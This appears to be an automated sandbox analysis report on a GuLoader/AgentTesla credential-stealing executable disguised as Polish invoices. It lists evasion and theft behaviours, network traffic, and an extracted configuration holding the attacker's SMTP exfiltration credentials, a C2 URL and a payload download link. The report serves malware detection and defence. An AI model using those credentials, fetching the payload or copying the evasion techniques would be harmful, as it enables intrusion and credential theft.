Loading ...

Play interactive tourEdit tour

Analysis Report FAKTURA I RACHUNKI.exe

Overview

General Information

Sample Name:FAKTURA I RACHUNKI.exe
Analysis ID:383950
MD5:ac62ebbbf6ec96f48a8cca64793bf8fb
SHA1:c1e10d41d090cb7d0505b46a1b48f3f533aa6aad
SHA256:5708e5be9ec5564f3f16b38f87b0c7a0178274ed580a8566e31a995a80e353bb
Tags:GuLoader
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: RegAsm connects to smtp port
Yara detected AgentTesla
Yara detected GuLoader
C2 URLs / IPs found in malware configuration
Detected RDTSC dummy instruction sequence (likely for instruction hammering)
Hides threads from debuggers
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses 32bit PE files
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Startup

  • System is w10x64
  • FAKTURA I RACHUNKI.exe (PID: 5744 cmdline: 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' MD5: AC62EBBBF6EC96F48A8CCA64793BF8FB)
    • RegAsm.exe (PID: 5584 cmdline: 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' MD5: 6FD7592411112729BF6B1F2F6C34899F)
    • RegAsm.exe (PID: 5612 cmdline: 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' MD5: 6FD7592411112729BF6B1F2F6C34899F)
      • conhost.exe (PID: 5608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "JrBJv6DyR8", "URL: ": "http://KeXrtgodXUi1h.com", "To: ": "syndic8@yandex.com", "ByHost: ": "mail.brimaq.com:587", "Password: ": "UXB9CyQFuVvwdgx", "From: ": "jaen@brimaq.com"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmpJoeSecurity_GuLoaderYara detected GuLoaderJoe Security
    00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        Process Memory Space: RegAsm.exe PID: 5612JoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
          Process Memory Space: RegAsm.exe PID: 5612JoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            Click to see the 1 entries

            Sigma Overview

            System Summary:

            barindex
            Sigma detected: RegAsm connects to smtp portShow sources
            Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 78.128.8.31, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 5612, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49751

            Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection:

            barindex
            Found malware configurationShow sources
            Source: RegAsm.exe.5612.2.memstrMalware Configuration Extractor: Agenttesla {"Username: ": "JrBJv6DyR8", "URL: ": "http://KeXrtgodXUi1h.com", "To: ": "syndic8@yandex.com", "ByHost: ": "mail.brimaq.com:587", "Password: ": "UXB9CyQFuVvwdgx", "From: ": "jaen@brimaq.com"}
            Multi AV Scanner detection for submitted fileShow sources
            Source: FAKTURA I RACHUNKI.exeVirustotal: Detection: 21%Perma Link
            Source: FAKTURA I RACHUNKI.exeReversingLabs: Detection: 12%
            Source: FAKTURA I RACHUNKI.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
            Source: unknownHTTPS traffic detected: 172.217.168.33:443 -> 192.168.2.6:49717 version: TLS 1.2

            Networking:

            barindex
            C2 URLs / IPs found in malware configurationShow sources
            Source: Malware configuration extractorURLs: http://KeXrtgodXUi1h.com
            Source: global trafficTCP traffic: 192.168.2.6:49751 -> 78.128.8.31:587
            Source: Joe Sandbox ViewASN Name: TELEPOINTBG TELEPOINTBG
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: global trafficTCP traffic: 192.168.2.6:49751 -> 78.128.8.31:587
            Source: unknownDNS traffic detected: queries for: doc-0s-1k-docs.googleusercontent.com
            Source: RegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
            Source: RegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
            Source: RegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpString found in binary or memory: http://KeXrtgodXUi1h.com
            Source: RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpString found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
            Source: RegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpString found in binary or memory: http://bbllRW.com
            Source: RegAsm.exe, 00000002.00000002.614735524.000000001DE41000.00000004.00000001.sdmpString found in binary or memory: http://brimaq.com
            Source: RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpString found in binary or memory: http://cps.letsencrypt.org0
            Source: RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpString found in binary or memory: http://cps.root-x1.letsencrypt.org0
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpString found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
            Source: RegAsm.exe, 00000002.00000002.609009636.00000000012BB000.00000004.00000020.sdmpString found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpString found in binary or memory: http://crl.pki.goog/gsr2/gsr2.crl0?
            Source: RegAsm.exe, 00000002.00000002.614735524.000000001DE41000.00000004.00000001.sdmpString found in binary or memory: http://mail.brimaq.com
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpString found in binary or memory: http://ocsp.pki.goog/gsr202
            Source: RegAsm.exe, 00000002.00000002.609009636.00000000012BB000.00000004.00000020.sdmpString found in binary or memory: http://ocsp.pki.goog/gts1o1core0
            Source: RegAsm.exe, 00000002.00000002.609009636.00000000012BB000.00000004.00000020.sdmpString found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
            Source: RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpString found in binary or memory: http://r3.i.lencr.org/0
            Source: RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpString found in binary or memory: http://r3.o.lencr.org0
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpString found in binary or memory: https://doc-0s-1k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ilq0gs3h
            Source: RegAsm.exeString found in binary or memory: https://drive.google.com/uc?export=download&id=16YYVHnEy9_-NyGEipJqgNlcMWFoYiAxO
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpString found in binary or memory: https://pki.goog/repository/0
            Source: RegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
            Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
            Source: unknownHTTPS traffic detected: 172.217.168.33:443 -> 192.168.2.6:49717 version: TLS 1.2
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_0041112C OpenClipboard,0_2_0041112C

            System Summary:

            barindex
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023450CB NtResumeThread,0_2_023450CB
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02345294 NtResumeThread,0_2_02345294
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_0234533A NtResumeThread,0_2_0234533A
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02345170 NtResumeThread,0_2_02345170
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02345162 NtResumeThread,0_2_02345162
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023453E8 NtResumeThread,0_2_023453E8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F8525E NtSetInformationThread,2_2_00F8525E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F84E07 NtProtectVirtualMemory,2_2_00F84E07
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F853E8 NtSetInformationThread,2_2_00F853E8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F85294 NtSetInformationThread,2_2_00F85294
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F8533A NtSetInformationThread,2_2_00F8533A
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406B0F0_2_00406B0F
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023450CB0_2_023450CB
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023420360_2_02342036
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023420220_2_02342022
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02340E2E0_2_02340E2E
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_0234087D0_2_0234087D
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023446F20_2_023446F2
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02341CEE0_2_02341CEE
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_0234173A0_2_0234173A
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023443280_2_02344328
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02342B1B0_2_02342B1B
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02343D760_2_02343D76
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023451700_2_02345170
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023423720_2_02342372
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023423790_2_02342379
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023451620_2_02345162
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_0234156B0_2_0234156B
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023409540_2_02340954
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023447A70_2_023447A7
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023415870_2_02341587
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023409E50_2_023409E5
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_023439C30_2_023439C3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013919002_2_01391900
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0139B9B52_2_0139B9B5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013919E42_2_013919E4
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013978982_2_01397898
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0139EE302_2_0139EE30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0139AAA82_2_0139AAA8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013987E02_2_013987E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013A20202_2_013A2020
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013A27682_2_013A2768
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013A2F6D2_2_013A2F6D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013AB7402_2_013AB740
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDA67202_2_1CDA6720
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDA50002_2_1CDA5000
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDAB2882_2_1CDAB288
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB34A02_2_1CDB34A0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB5D802_2_1CDB5D80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB4D002_2_1CDB4D00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB97D82_2_1CDB97D8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB80102_2_1CDB8010
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDBAC902_2_1CDBAC90
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDBDF782_2_1CDBDF78
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB11082_2_1CDB1108
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB1AD72_2_1CDB1AD7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_1CDB1AE82_2_1CDB1AE8
            Source: FAKTURA I RACHUNKI.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
            Source: FAKTURA I RACHUNKI.exe, 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmpBinary or memory string: OriginalFilenamespiritu.exe vs FAKTURA I RACHUNKI.exe
            Source: FAKTURA I RACHUNKI.exeBinary or memory string: OriginalFilenamespiritu.exe vs FAKTURA I RACHUNKI.exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
            Source: FAKTURA I RACHUNKI.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@6/1@3/2
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5608:120:WilError_01
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeFile created: C:\Users\user\AppData\Local\Temp\~DF991822A0E7AF3EFE.TMPJump to behavior
            Source: FAKTURA I RACHUNKI.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: FAKTURA I RACHUNKI.exeVirustotal: Detection: 21%
            Source: FAKTURA I RACHUNKI.exeReversingLabs: Detection: 12%
            Source: unknownProcess created: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe'
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe'
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe'
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' Jump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior

            Data Obfuscation:

            barindex
            Yara detected GuLoaderShow sources
            Source: Yara matchFile source: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5612, type: MEMORY
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00402465 pushfd ; iretd 0_2_00402494
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406C05 push C868CBC8h; retf 0_2_00406C0A
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406C0B push C868CBC8h; retf 0_2_00406C10
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406C11 push C868CBC8h; retf 0_2_00406C16
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406C17 push C868CBC8h; retf 0_2_00406C1C
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00403281 push dword ptr [edi-4B012F33h]; retf 0_2_00403294
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00402495 pushfd ; iretd 0_2_00402498
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00402699 pushfd ; iretd 0_2_0040269C
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00402F70 pushfd ; iretd 0_2_00402F78
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00403703 push fs; ret 0_2_0040379C
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00403329 pushfd ; iretd 0_2_0040332C
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BC9 push C868CBC8h; retf 0_2_00406BCE
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BCF push C868CBC8h; retf 0_2_00406BD4
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BD5 push C868CBC8h; retf 0_2_00406BDA
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BDB push C868CBC8h; retf 0_2_00406BE0
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_004051DF pushfd ; iretd 0_2_004051E0
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_004043E0 pushfd ; iretd 0_2_004043E4
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BE1 push C868CBC8h; retf 0_2_00406BE6
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BE7 push C868CBC8h; retf 0_2_00406BEC
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BED push C868CBC8h; retf 0_2_00406BF2
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BF3 push C868CBC8h; retf 0_2_00406BF8
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BF9 push C868CBC8h; retf 0_2_00406BFE
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_00406BFF push C868CBC8h; retf 0_2_00406C04
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_0234006B push ebx; ret 0_2_02340072
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02341131 pushfd ; iretd 0_2_02341132
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02344504 push esi; retf 0_2_02344506
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_01398478 pushfd ; retf 551Fh2_2_013987A6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0139D23C push eax; iretd 2_2_0139D23D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013A7A37 push edi; retn 0000h2_2_013A7A39
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_013A1E00 push edx; retf 2_2_013A1E0B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRegistry key monitored for changes: HKEY_CURRENT_USER_ClassesJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
